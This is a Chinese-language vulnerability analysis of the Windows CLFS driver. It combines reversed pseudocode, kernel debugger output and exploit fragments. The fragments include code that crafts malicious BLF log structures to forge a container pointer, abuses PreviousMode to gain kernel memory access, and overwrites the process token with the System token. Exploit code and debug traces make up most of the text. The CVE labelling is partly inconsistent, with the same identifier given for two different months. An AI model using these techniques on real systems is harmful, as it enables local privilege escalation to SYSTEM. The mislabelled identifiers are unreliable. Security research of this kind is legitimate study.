这篇文章的目的是介绍今年出现的两个CLFS漏洞汇总分析.
文章结合了逆向代码和调试结果分析了CVE-2021-24521和CVE-2022-37969漏洞利用过程和漏洞成因.
CVE-2021-24521漏洞的成因是 SignatureOffset 字段的范围校验不严格,从而导致SignatureOffset 指向的区域可以与某个 ContainerContext 的 pContainer 指针重合.攻击者可以通过精心构造日志文件内容来触发这个漏洞,CLFS在解析日志文件时,会调用 ClfsEncodeBlock 函数将每个 512 字节扇区的最后两字节备份到 SignatureOffset 指向的偏移处,整个“备份”完成后,pContainer 指针会被替换为攻击者伪造的指针,具体相关分析清读者移步相关引用中的分析文章这里不再赘述。
首先借助漏洞,将内存中的 pContainer 指针覆盖为 fakeContainer 指针,并且事先已经伪造了 fakeContainer 的虚函数表。通过利用漏洞内存中的 ContainerContext 对象和其内部的 fakeContainer 指针,我们可以看到这个指针变为了一个用户态地址,它指向的虚表也变为了一个用户态地址。正常情况下,这两个地址应该位于内核空间。
接下来我们看一下在野样本是如何实现任意地址写入的,在 RemoveContainer 函数内,代码会尝试获取 pContainer 指针,并调用内部的两个虚函数。正常情况下这两个函数是 Release 和 Remove,把地址虚函数的地址替换为没有任何实际操作的ClfsSetEndOfLog函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
__int64 __fastcall CClfsContainer::Close(CClfsContainer
*
this)
{
CClfsContainer
*
that;
/
/
rbx
void
*
v2;
/
/
rcx
NTSTATUS hr;
/
/
edi
that
=
this;
v2
=
(void
*
)this
-
>field_DeviceObjectHint_20;
if
( !v2 )
return
3221225480i64
;
hr
=
ZwClose(v2);
if
( hr >
=
0
)
{
that
-
>field_DeviceObjectHint_20
=
0i64
;
that
-
>field_ContainerSize_8
=
0i64
;
}
ObfDereferenceObject((PVOID)that
-
>field_Device_Object_30);
that
-
>field_Device_Object_30
=
0i64
;
return
(unsigned
int
)
|
关闭blf文件的调用这2个函数之前还会调用一次CClfsContainer::Close,由于pContainer是我们精确控制的内核态地址,把field_DeviceObjectHint_20置为一个任意的打开文件句柄,field_Device_Object_30置为要被ObfDereferenceObject递减Thread的PreviousMode地址, 将当前线程模式改为内核模式,这是一种直到windows11微软允许的利用方式,详见,这样就可以允许用户态访问内核态内存通过NtWriteVirtualMemory将当前进程自身的令牌替换为 System 进程的令牌,从而完成提权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
bool
WriteProcessToken() {
unsigned
long
written
=
0
;
ULONGLONG pToken[]
=
{
0
,
0
,
0
,
0
};
NtWriteVirtualMemory(
GetCurrentProcess(),
&pToken,
(PVOID)(SystemEProcessAddress
+
dwEProcessTokenPos
-
0x10
),
0x20
,
&written);
NTSTATUS ret
=
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)(selfEProcessAddress
+
dwEProcessTokenPos),
&pToken[
2
],
8
,
&written);
if
(ret) {
printf(
"[+] Write EProcess token failed \n"
);
return
FALSE;
}
/
/
restore user thread.
Sleep(
100
);
BYTE previouMode
=
1
;
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)( ullKThreadAddress
+
dwThreadPreModePos ),
&previouMode,
1
,
&written);
printf(
"[+] Write EProcess token Success! \n"
);
return
TRUE;
}
|
在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混肴,具体利用方法片段如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
void vul(){
int
ContainerOffset
=
0x1528
;
int
ClientOffset
=
ContainerOffset
-
8
;
PCLFS_LOG_BLOCK_HEADER hd
=
(PCLFS_LOG_BLOCK_HEADER)(pFileBuff
+
0x8200
);
ULONGLONG base_record_ptr
=
(ULONGLONG)hd
+
hd
-
>RecordOffsets[
0
];
PCLFS_BASE_RECORD_HEADER base_record
=
PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record
-
>rgClients[
0
]
=
ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx
=
(PCLFS_CLIENT_CONTEXT)(base_record_ptr
+
ClientOffset);
PCLFS_CONTAINER_CONTEXT orgctx
=
(PCLFS_CONTAINER_CONTEXT)(base_record_ptr
+
ContainerOffset);
PCLFSHASHSYM fakesym
=
(PCLFSHASHSYM)(base_record_ptr
+
ClientOffset
-
sizeof(CLFSHASHSYM));
PCLFSHASHSYM orgsym
=
(PCLFSHASHSYM)(base_record_ptr
+
ContainerOffset
-
sizeof(CLFSHASHSYM));
fakesym
-
>cbSymName
=
ClientOffset
+
sizeof(CLFS_CLIENT_CONTEXT);
fakesym
-
>cbOffset
=
ClientOffset;
fakectx
-
>cidClient
=
0
;
fakectx
-
>Reserved1
=
0
;
fakectx
-
>fAttributes
=
0
;
orgctx
-
>pContainer
=
0x40000000
;
}
|
利用这个伪造的pContainer 指针,只要关闭blf文件句柄就会在析构函数中调用CClfsLogFcbPhysical::Finalize中文件中将原始 pContainer 指针从PCLFS_CONTAINER_CONTEXT读出,判断cActiveContainers字段是否大小大于0,当容器队列cidQueue值为-1时,最后调用pContainer自动关闭函数和指向其虚表的析构函数.可以采用CVE-2021-24521同样的利用方式利用.这2个漏洞的差别在于CVE-2021-24521的补丁修复了CClfsBaseFile::ValidateRgOffsets了SignaturesOffset,只是修复了Signature是否与符号相交的情况,却没修复符号表内部存在重叠混肴的情况.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted
*
this, unsigned
int
lsn, _CLFS_CONTAINER_CONTEXT
*
*
a3)
{
_CLFS_CONTAINER_CONTEXT
*
*
ctnctx;
/
/
r14
if
(
0
=
=
that
-
>field_cblock_28
|| (rgblock
=
that
-
>field_rgBlocks_30, (ctrlhd
=
rgblock[
2
].pbImage)
=
=
0i64
)
|| (offset
=
ctrlhd
-
>RecordOffsets[
0
],
basesd
=
(_CLFS_BASE_RECORD_HEADER
*
)(&ctrlhd
-
>MajorVersion
+
offset),
cb
=
rgblock[
2
].cbImage,
(unsigned
int
)offset >
=
cb)
|| (unsigned
int
)offset <
0x70
|| cb
-
(unsigned
int
)offset <
0x1338
)
{
basesd
=
0i64
;
}
if
( basesd )
{
ctnoffset
=
basesd
-
>rgContainers[lsnref];
if
( ctnoffset )
result
=
CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
else
result
=
3221225480i64
;
}
else
{
result
=
3222929421i64
;
}
}
return
result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted
*
this, unsigned
int
offsetfrom,
int
containeridx, _CLFS_CONTAINER_CONTEXT
*
*
retval)
{
_CLFS_CONTAINER_CONTEXT
*
*
retvalref;
/
/
r14
retvalref
=
retval;
containeridxRef
=
containeridx;
rgcontaineroffset
=
offsetfrom;
file
=
this;
hr
=
0
;
v18
=
0
;
if
( offsetfrom <
0x1368
)
return
0xC01A000Di64
;
*
retval
=
0i64
;
ExAcquireResourceSharedLite((PERESOURCE)this
-
>field_lock_20,
1u
);
if
( !CClfsBaseFile::IsValidOffset(
file
, rgcontaineroffset
+
0x2F
) )
goto LABEL_21;
v11
=
file
-
>field_rgBlocks_30[
2
].pbImage;
CClfsBaseFile::GetBaseLogRecord(
file
);
rgcontaineroffsetRaw
=
0
;
/
/
/
/
RecordOffsets
=
70
,rgcontaineroffset
=
14a0
;
14a0
+
800
+
70
=
1d10
=
_CLFS_CONTAINER_CONTEXT
*
*
a4,craw
=
800
+
70
if
( (signed
int
)ULongAdd(rgcontaineroffset, v12
-
>RecordOffsets[
0
], &rgcontaineroffsetRaw) <
0
|| !craw
|| rgcontaineroffsetRaw >
=
(unsigned
int
)v14
-
>TotalSectorCount <<
9
|| !(craw
+
rgcontaineroffset) )
{
goto LABEL_21;
}
/
/
_CLFS_CONTAINER_CONTEXT
*
*
a4
=
1d10
;poi(
1d10
-
0n12
)
=
cbOffset
=
rgcontaineroffset
=
14a0
if
(
*
(_DWORD
*
)(craw
+
rgcontaineroffset
-
0xC
) !
=
(_DWORD)rgcontaineroffset )
{
hr
=
030000000010
;
LABEL_15:
v18
=
hr;
goto LABEL_16;
}
ctnsize
=
ClfsQuadAlign(
0x30u
);
/
/
cbOffset
=
(unsigned __int64)(pctnref
+
ctnsize)
/
/
cbOffset字符串位置正好是在container的结尾
if
( pctn[
-
1
].usnCurrent !
=
(unsigned __int64)(pctnref
+
ctnsize) || pctn
-
>cidContainer !
=
containeridxRef )
{
LABEL_21:
hr
=
0xC01A000D
;
goto LABEL_15;
}
*
retvalref
=
pctn;
return
hr;
}
|
实际上clfs确实在CClfsBaseFilePersisted::LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针,但是由于符号表相交的关系在之后FlushMetadata中获取的CLIENT_CONTEXT是与CONTAINER_CONTEXT存在重叠的内存.存在漏洞的伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;这行代码将ClientContext+20的位置也就是CONTAINER_CONTEXT+18的值替换回之前CClfsLogFcbPhysical::Initialize初始化时保存在CClfsLogFcbPhysical->field_CtrateTime_1a0.上下文的旧值.这里需要绕过的是判断当前的日志是不是Multiplexed类型,所以采用多数据流Log:<LogName>[::<LogStreamName>]创建日志文件对象就可以绕过这个限制,具体详见微软
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
__int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical
*
this@<rcx>, void
*
a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT
*
a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned
int
DesiredShareAccess, __int64 a7, struct _FILE_OBJECT
*
FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(
file
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
if
( !(cltctx
-
>eState &
0x20
)
|| ((unsigned __int8 (__fastcall
*
)(CClfsLogFcbPhysical
*
, __int64, __int64, __int64, __int64))
file
-
>vftbl_0_00000001C0013440
-
>CClfsLogFcbPhysical::IsMultiplexed_void)(
file
,
attrval,
v17,
v18,
Update) )
{
/
/
保存pContainer指针为旧值在CClfsLogFcbPhysical中
file
-
>field_CtrateTime_1a0
=
cltctx
-
>llCreateTime.QuadPart;
}
else
{
/
/
fakectx
-
>eState
=
CLFS_LOG_SHUTDOWN;见下面分析
CClfsLogFcbPhysical::ResetLog(
file
);
}
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical
*
this)
{
that
=
this;
hr
=
CClfsBaseFile::AcquireClientContext(this
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
/
/
替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;
...
CClfsBaseFile::ReleaseClientContext((CClfsBaseFile
*
)that
-
>field_BaseFilePersisted_2A8, &cltctx);
v7
=
CClfsBaseFilePersisted::FlushImage(that
-
>field_BaseFilePersisted_2A8);
}
/
/
在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted
*
this, unsigned
int
a2, char shadow)
{
for
( i
=
0
; i <
0x400
;
+
+
i )
{
v15
=
CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
what
=
(CClfsBaseFilePersisted
*
)((char
*
)that
+
8
*
i);
ctnref
=
ctn;
what
-
>pContainer_1c0
=
(void
*
*
)&ctn
-
>pContainer
-
>pctn;
ctnref
-
>pContainer
=
0i64
;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
ClfsEncodeBlock(header, header
-
>TotalSectorCount <<
9
, header
-
>Usn,
0x10u
,
1u
);
ClfsDecodeBlock(header, header
-
>TotalSectorCount, header
-
>Usn,
0x10u
, &v21);
pcontainersaved
=
(CClfsContainer
*
*
)&that
-
>pContainer_1c0;
do
{
if
(
*
pcontainersaved && (signed
int
)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >
=
0
)
{
ctn
-
>pContainer
=
*
pcontainersaved;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
+
+
ctnidxsearch;
+
+
pcontainersaved;
}
while
( ctnidxsearch <
0x400
);
}
`
|
FlushImage又调用WriteMetadataBlock在该函数中,首先会遍历每一个容器上下文,将pContainer先保存后置为0:然后调用ClfsEncodeBlock函数,对数据进行编码,此时记录中每0x200字节的后两个字节将被写入到SignaturesOffset指向的内存中,接着调用CClfsContainer::WriteSector函数,然后调用ClfsDecodeBlock函数对数据进行解码,并将之前保存的pContainer值重新写回.我们看下调试结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
|
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0
: kd> r
rax
=
0000000000000000
rbx
=
0000000000000000
rcx
=
ffffc784287c1000
rdx
=
0000000000001528
rsi
=
ffffdc0782e5c398 rdi
=
0000000000001528
rip
=
fffff80026ee2670 rsp
=
ffffb30823028f88 rbp
=
ffffb30823029760
r8
=
0000000000000000
r9
=
ffffb30823029050 r10
=
fffff800272a7040
r11
=
ffffb308230289e0 r12
=
0000000000000000
r13
=
0000000000000000
r14
=
ffffc784287c1000 r15
=
ffffb30823029198
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800`
26ee2670
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
0018
:ffffb308`
23028fa0
=
ffffdc0782e5c398
2
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23704f88
fffff800`
26ee7294
CLFS!CClfsBaseFile::GetSymbol
01
ffffb308`
23704f90
fffff800`
26eb3156
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x2a4
02
ffffb308`
23705100
fffff800`
26edeb7b
CLFS!CClfsLogFcbPhysical::Initialize
+
0x6da
03
ffffb308`
23705240
fffff800`
26ee0abb
CLFS!CClfsRequest::Create
+
0x4ef
04
ffffb308`
23705390
fffff800`
26ee0887
CLFS!CClfsRequest::Dispatch
+
0x97
05
ffffb308`
237053e0
fffff800`
26ee07d7
CLFS!ClfsDispatchIoRequest
+
0x87
0
: kd> gu
0
: kd> dq poi(ffffb30823029050)
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
/
/
pContainer指针
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
/
/
下pContainer指针硬件访问断点
ba w8 ffffdc07`
82e5d598
+
18
Breakpoint
3
hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x4e5
:
fffff800`
26ee74d5
4885c9
test rcx,rcx
/
/
LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0
: kd> dps poi(ffffdc07`
82e5d5b0
)
ffffdc07`
8291bab0
fffff800`
26ec35f0
CLFS!CClfsContainer::`vftable'
ffffdc07`
8291bab8
00000000
`
00000000
ffffdc07`
8291bac0
00000000
`
00000000
0
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
ffffdc07`
8291bab0
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
1
: kd> g
Breakpoint
3
hit
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
]
1
: kd> r
rax
=
0000000040000000
rbx
=
ffffc784288ed000 rcx
=
ffff80002b167180
rdx
=
0000000000000031
rsi
=
ffffc7842a3d2930 rdi
=
0000000000000000
rip
=
fffff80026eb158d rsp
=
ffffb30823029680 rbp
=
0000000000000001
r8
=
0000000000000804
r9
=
ffffdc0782e5d590 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
ffffc784297e9dc8 r13
=
0000000000000000
r14
=
ffffc784297e9ee8 r15
=
ffffc78422c79c01
iopl
=
0
nv up ei ng nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
:
fffff800`
26eb158d
488b83a8010000
mov rax,qword ptr [rbx
+
1A8h
] ds:
002b
:ffffc784`
288ed1a8
=
0000000200000001
1
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23029680
fffff800`
26ef1503
CLFS!CClfsLogFcbPhysical::FlushMetadata
+
0x5d
01
ffffb308`
230296d0
fffff800`
26eeea25
CLFS!CClfsLogFcbVirtual::Cleanup
+
0x213
02
ffffb308`
23029760
fffff800`
26eee939
CLFS!CClfsLogCcb::Cleanup
+
0xb1
03
ffffb308`
230297b0
fffff800`
26ee0955
CLFS!CClfsRequest::Cleanup
+
0x65
0c
0000000a
`dc5ff920
00000000
`
00000000
0x00007ff8
`d566a395
/
/
FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;替换pContainer指针为旧值
1
: kd> dq ffffdc07`
82e5d598
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
3
: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00
ffffb308`
23029618
fffff800`
26eb8655
: ffffc784`
287c1000
ffffc784`
288ed000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
01
ffffb308`
23029620
fffff800`
26eb87b6
: ffffdc07`
82e5d598
ffffc784`
288ed000
fffff800`
26eceb20
00000000
`
00000000
: CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x69
02
ffffb308`
23029650
fffff800`
26eb8761
:
00000000
`
00000000
ffffc784`
288ed000
fffff800`
26eceb20
ffffc784`
288ed2f8
: CLFS!CClfsLogFcbPhysical::Finalize
+
0x42
03
ffffb308`
23029680
fffff800`
26eb9889
: ffffc784`
2883d801
ffffc784`
288ed250
00000000
`
00000000
ffffc784`
297e9e28
: CLFS!CClfsLogFcbPhysical::Release
+
0xb1
04
ffffb308`
230296e0
fffff800`
26eddfd2
: ffffc784`
2883d830
ffffc784`
2883d801
00000000
`
00000000
ffffc784`
2883d830
: CLFS!CClfsLogFcbVirtual::Release
+
0x69
05
ffffb308`
23029720
fffff800`
26ee0908
: ffffc784`
2883d830
ffffc784`
22c79c80
ffffc784`
2883d830
00000000
`
00000000
: CLFS!CClfsRequest::Close
+
0xd6
06
ffffb308`
23029770
fffff800`
26ee07d7
: ffffc784`
2883d830
ffffc784`
2883d830
00000000
`
00000000
fffff800`
27cf4204
: CLFS!ClfsDispatchIoRequest
+
0x108
3
: kd> r
/
/
rcx就是pContainer指针为旧值
rax
=
0000000000000000
rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
0000000000000000
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eeb438 rsp
=
ffffb30823029618 rbp
=
ffffdc0782e5d598
r8
=
ffffb30823029550 r9
=
ffffdc0782e5c070 r10
=
0000000000000000
r11
=
ffffdc0782e5c000 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsContainer::Close:
fffff800`
26eeb438
48895c2408
mov qword ptr [rsp
+
8
],rbx ss:
0018
:ffffb308`
23029620
=
ffffc784287c1000
3
: kd> dq
0000000040000000
00000000
`
40000000
0000010d
`
844b0000
00000000
`
00000000
00000000
`
40000010
00000000
`
00000000
00000000
`
00000000
00000000
`
40000020
00000000
`
0000009c
00000000
`
00000000
/
/
ullKThreadAddress
+
dwThreadPreModePos
+
0x30
;就是Thread的PreMode地址
00000000
`
40000030
ffffc784`
29c79322
00000000
`
00000000
/
/
ThreadPreMode地址
00000000
`
40000030
ffffc784`
26d0b2e2
00000000
`
00000000
/
/
调用pContainer指针为伪造的虚表函数地址
rax
=
fffff80026f10190 rbx
=
ffffc784288ed000 rcx
=
0000000040000000
rdx
=
00000000746c6644
rsi
=
0000000000000000
rdi
=
0000000000000000
rip
=
fffff80026eb8660 rsp
=
ffffb30823029620 rbp
=
ffffdc0782e5d598
r8
=
ffffc7842a3ce08e r9
=
0000000000000006
r10
=
fffff80027216270
r11
=
ffffc78426d0b080 r12
=
0000000000000000
r13
=
0000000000000001
r14
=
fffff80026eceb20 r15
=
ffffc78422c79c80
iopl
=
0
nv up ei ng nz na pe nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040282
CLFS!CClfsLogFcbPhysical::CloseContainers
+
0x74
:
fffff800`
26eb8660
ff157abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`
26ed45e0
)] ds:
002b
:fffff800`
26ed45e0
=
{CLFS!guard_dispatch_icall_nop (fffff800`
26ebd4e0
)}
5
: kd> ln rax
(fffff800`
26f10190
) CLFS!ClfsSetEndOfLog | (fffff800`
26f101f0
) CLFS!ClfsSetLogFileInformation
4
: kd> !thread
THREAD ffffc78429c790c0 Cid
15bc
.
08e4
Teb:
00000040e33dc000
Win32Thread:
0000000000000000
RUNNING on processor
4
Child
-
SP RetAddr : Args to Child : Call Site
ffffb308`
23835618
fffff800`
26eb8655
: ffffc784`
280ef000
ffffc784`
29603000
00000000
`
00000000
fffff800`
26eceb01
: CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4
: kd> dt nt!_KTHREAD ffffc78429c790c0
-
y Previous
+
0x232
PreviousMode :
0
''
|
CVE-2021-24521漏洞的成因是由于缺乏对 CLFS.sys 中基本日志文件 (BLF) 的基本记录头中的字段 cbSymbolZone 的严格边界检查。 cbSymbolZone存在一个名为CLFS_BASE_RECORD_HEADER的结构体,在此复制一下,本文中所有用到的结构体均可在blf.bt(010编辑器分析blf文件)附件中找到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER,
*
PCLFS_BASE_RECORD_HEADER;
|
可以看到其中就包括了一个名为cbSymbolZone的成员。在IDA中搜索该成员名字,可以找到唯一个操作该成员的函数CClfsBaseFilePersisted::AllocSymbol:
如果字段 cbSymbolZone 设置为无效偏移量,则会在无效偏移量处发生越界写入.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
signed __int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted
*
this, unsigned
int
allowlen, void
*
*
endofSymZonePtrFrom)
{
void
*
*
endofSymZonePtrRet;
/
/
rsi
__int64 allowlenref;
/
/
rbp
_CLFS_BASE_RECORD_HEADER
*
BaseLogRecord;
/
/
rax
CClfsBaseFilePersisted
*
that;
/
/
r8
_CLFS_BASE_RECORD_HEADER
*
BaseLogRecordRef;
/
/
rdi
_CLFS_LOG_BLOCK_HEADER
*
hdr;
/
/
rcx
__int64 cbSymbolZone;
/
/
r8
char
*
endofSymZonePtr;
/
/
rbx
signed __int64 result;
/
/
rax
endofSymZonePtrRet
=
endofSymZonePtrFrom;
allowlenref
=
allowlen;
BaseLogRecord
=
CClfsBaseFile::GetBaseLogRecord(this);
BaseLogRecordRef
=
BaseLogRecord;
if
( !BaseLogRecord )
return
0xC01A000Di64
;;
hdr
=
that
-
>field_rgBlocks_30[
2
].pbImage;
*
endofSymZonePtrRet
=
0i64
;
cbSymbolZone
=
BaseLogRecord
-
>cbSymbolZone;
/
/
下文要绕过的限制
if
( (char
*
)&BaseLogRecord[
1
]
+
cbSymbolZone
+
allowlenref > (char
*
)(&hdr
-
>MajorVersion
+
hdr
-
>SignaturesOffset) )
return
0xC0000023i64
;
endofSymZonePtr
=
(char
*
)&BaseLogRecord[
1
]
+
cbSymbolZone;
memset(endofSymZonePtr,
0
, (unsigned
int
)allowlenref);
BaseLogRecordRef
-
>cbSymbolZone
+
=
allowlenref;
result
=
0i64
;
*
endofSymZonePtrRet
=
endofSymZonePtr;
return
result;
}
|
可以看出,在这里cbSymbolZone成员的作用是标识在BLF文件中,CLFS_BASE_RECORD_HEADER后所有符号表的路径字符串(符号)总共占用了多少空间.在内存中,当新增添加一个Container时,使用该成员用来计算新增的Container应该跳过多少空间往后排(即跳过现有的最后一个container的路径字符串),并申请sizeof(CLFSHASHSYM)也就是0x30大小空间,然后清零这片内存.但该函数直接使用使用了来自BLF文件中存储的cbSymbolZone的值,该值可以是大于0、小于到结尾的任意值。举例来说就是,它可以让跳过的空间很少,从而改写了现有最后一个container路径字符串,更小则可清零container结构本身的pcontainer指针。pcontainer是内核态指针位于ffff000000000000000区域,如果高20位被清零,那截断后的地址低12指针地址就可以指向用户态可申请内存地址,VirtualAlloc申请0x10000000大小内存后就可以完全覆盖这片地址.由于pcontainer指针总是一0x10字节对其的,可以采用替换虚表函数为SeSetAccessStateGenericMapping方法利用.
利用的方式也是一样修改Thread的PreviousMode字段,这个函数作用就是对rcx+8的地址自增实现相同的效果,所以只要把所有的每0x10个字节把+0处填为虚表,+8处填为PreviousMode地址就可以了.在这里有一个需要绕过的地方就是CClfsContainer::Close处.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
void __fastcall CClfsLogFcbPhysical::Finalize(CClfsLogFcbPhysical
*
this, char a2)
{
/
/
DeleteLogByHandle方式
if
(
file
-
>clientshuwdown_15c &
0x10
)
{
CClfsLogFcbPhysical::DeleteBaseFileAndContainers(
file
);
{
if
( (signed
int
)CClfsBaseFile::AcquireContainerContext(v1
-
>field_BaseFilePersisted_2A8, v5, &ctn) >
=
0
)
{
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)v1
-
>field_BaseFilePersisted_2A8, &ctn);
CClfsBaseFilePersisted::RemoveContainer(v1
-
>field_BaseFilePersisted_2A8, ctn);
((void (__fastcall
*
)(CClfsContainer
*
, __int64, __int64, __int64, _BYTE))ctn
-
>pctn
-
>CClfsContainer::Remove_void)(
ctn,
v14,
v15,
v16,
0
);
}
}
else
{
/
/
活动容器大小是不是大于
0
if
( (unsigned
int
)CClfsBaseFile::ContainerCount(v3) )
{
CClfsLogFcbPhysical::CloseContainers(
file
);
{
if
( (signed
int
)CClfsBaseFile::AcquireContainerContext(v1
-
>field_BaseFilePersisted_2A8, v5, &ctn) >
=
0
)
{
/
/
直接关闭句柄的方式
CClfsContainer::Close(pctn);
((void (__fastcall
*
)(ULONGLONG, __int64, __int64, __int64, __int64))v4
-
>pContainer
-
>pctn
-
>CClfsContainer::Release_void)(
v4
-
>ullAlignment,
v6,
v7,
v8,
v10);
v4
-
>ullAlignment
=
0i64
;
}
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)v3
-
>field_BaseFilePersisted_2A8, &ctnctx);
}
}
}
}
}
|
